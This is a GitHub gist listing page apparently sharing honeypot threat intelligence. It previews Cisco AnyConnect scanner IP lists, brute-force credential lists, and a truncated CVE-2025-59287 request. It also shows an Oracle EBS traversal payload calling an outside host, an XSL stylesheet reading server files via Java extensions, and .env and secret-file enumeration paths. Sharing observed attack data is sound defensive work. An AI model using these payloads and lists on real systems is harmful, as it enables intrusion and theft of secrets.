Simo Kohonen simokohonen
simokohonen
/ gist:4b8a7bbd93330b46ec5311e5387124d1
Created
November 28, 2025 19:06
cisco anyconnect scanning / enum 28th nov 2025
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 92.118.112.160 | |
| 92.118.112.115 | |
| 92.118.112.102 | |
| 92.118.112.92 | |
| 92.118.112.46 | |
| 78.153.155.242 | |
| 92.118.112.81 | |
| 92.118.112.163 | |
| 193.34.213.150 | |
| 178.128.95.222 |
simokohonen
/ gist:eb854a1628509138bc4cd8992833a4d3
Created
November 7, 2025 12:04
CVE-2025-59287 payload
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| POST /ReportingWebService/ReportingWebService.asmx HTTP/1.1 | |
| Host: [redacted]:8530 | |
| User-Agent: Windows-Update-Agent | |
| Content-Length: 5244 | |
| Accept: text/xml | |
| Connection: Keep-Alive | |
| Content-Type: text/xml | |
| SOAPAction: "http://www.microsoft.com/SoftwareDistribution/ReportEventBatch" | |
| Accept-Encoding: gzip |
simokohonen
/ userpass.txt
Created
October 28, 2025 21:07
Cisco Honeypot Bruteforce Username-Password Combinations 21-28 Oct 2025
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Username: anyconnect, Password: WELLCOME*1234! | |
| Username: rhett, Password: password1 | |
| Username: cisco, Password: CISCO!2025 | |
| Username: net, Password: password1234 | |
| Username: dell, Password: Dell | |
| Username: defaults, Password: defaults | |
| Username: anyconnect, Password: ANYCONNECT%2512345 | |
| Username: anyconnect, Password: qwerty_17 | |
| Username: guest, Password: guestguest | |
| Username: cruz, Password: CRUZ123 |
simokohonen
/ gist:dce6e29384a06842a77fca405d364566
Created
October 28, 2025 21:06
Cisco Honeypot Bruteforce IPs 21-28 Oct 2025
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 178.130.47.30 | |
| 178.130.47.163 | |
| 178.130.47.45 | |
| 178.130.47.34 | |
| 178.130.47.154 | |
| 178.130.47.48 | |
| 178.130.47.50 | |
| 178.130.47.46 | |
| 178.130.47.161 | |
| 178.130.47.158 |
simokohonen
/ gist:af1bb422fddc80237ddb051233ce1ca3
Last active
October 20, 2025 13:10
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0" encoding="UTF-8"?> | |
| <initialize> | |
| <param name="init_was_saved">test</param> | |
| <param name="return_url"> | |
| http://apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2 | |
| Host: 103.140.45.8:4422 | |
| User-Agent: xxxxx | |
| Connection: keep-alive | |
| Cookie: |
simokohonen
/ gist:d9b24e5066180c79ce4be1761bb9fa9e
Created
October 9, 2025 12:34
.env urls enumeration
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /.env | |
| /.env.production | |
| /.env.www | |
| /.env-release.env | |
| /example/.env | |
| /.env | |
| /client/.env.production | |
| /node/.env_example | |
| /.env.test | |
| /.env.local |
simokohonen
/ gist:3b978601568d9e56b3cf203958a863d4
Created
October 8, 2025 05:56
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| xsl=<xsl:stylesheet version="1.0" | |
| xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
| xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String" | |
| xmlns:file="http://www.oracle.com/XSL/Transform/java/java.io.File" | |
| xmlns:reader="http://www.oracle.com/XSL/Transform/java/java.io.FileReader" | |
| xmlns:buf="http://www.oracle.com/XSL/Transform/java/java.io.BufferedReader"> | |
| <xsl:template match="/"> | |
| <xsl:variable name="versionFile" select="file:new('/u01/app/oracle/apps/12.2.0/version.txt')"/> | |
| <xsl:variable name="versionFile2" select="file:new('/u01/app/oracle/apps/12.1.0/version.txt')"/> | |
| <xsl:variable name="versionFile3" select="file:new('/u01/app/oracle/apps/12.0.0/version.txt')"/> |
simokohonen
/ credentials.txt
Last active
October 29, 2025 01:21
Cisco ASA login bruteforcing user + password list
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| cisco:ANYCONNECT.2017 | |
| anyconnect:Anyconnect*3! | |
| cisco:anyconnect%4012345 | |
| cisco:CISCO.123456! | |
| cisco:Anyconnect%402025 | |
| cisco:Anyconnect_17 | |
| cisco:CISCO%252 | |
| cisco:ANYCONNECT%2421 | |
| anyconnect:Anyconnect%26123456! | |
| cisco:ANYCONNECT!2017! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /Node.js/JavaScript | |
| /.git/hooks/pre-commit | |
| /.env.json | |
| /.cloudfront/keys.json | |
| /.git/refs/stash | |
| /admin/.env.old | |
| /.docker/.env | |
| /.env.docker.dev | |
| /api/aws/s3 | |
| /admin/wp-config.php.old |